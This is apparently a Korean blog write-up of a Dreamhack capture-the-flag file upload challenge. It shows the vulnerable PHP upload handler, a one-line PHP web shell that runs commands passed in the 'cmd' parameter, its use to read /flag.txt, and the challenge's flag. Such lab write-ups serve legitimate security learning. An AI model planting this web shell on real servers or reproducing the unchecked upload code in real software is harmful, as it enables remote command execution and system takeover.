728x90

파일 업로드 공격은 파일 업로드 할 수 있는 기능을 통해 웹쉘을 업로드하여 시스템을 장악하는 공격이다.

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }

업로드된 파일은 php에서 $_FILES 전역변수를 이용해 접근가능하다.

이 문제에선 서버가 업로드받은 파일은 $_FILES["file"]["tmp_name"]에 존재한다. 이는 $file["tmp_name"]와 동일하다.

move_uploaded_file은 서버는 업로드 받은 파일을 저장할 때 사용하는 함수다.

서버가 업로드 받은 $tmp_name 파일을 ./uploads/실제파일명으로 저장 후 Stored in: ./uploads/실제파일명을 출력한다.

아래의  php 파일을 만들어 업로드한 후 list 페이지에 접속하면 파일이 보일 것이다.

<?php
  system($_GET['cmd'])
?>

cmd 인자의 값을 get 방식으로 전달하면 cmd 인자의 값을 실행한다. cat /flag.txt를 전달하였다.

list 페이지
URL

DH{c29f44ea17b29d8b76001f32e8997bab}

FLAG가 출력된다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

Carve Party  (0) 2023.02.13
Mango  (0) 2023.02.13
CSRF-2  (0) 2023.02.12
command-injection-1  (0) 2023.02.12
CSRF-1  (0) 2023.02.12

+ Recent posts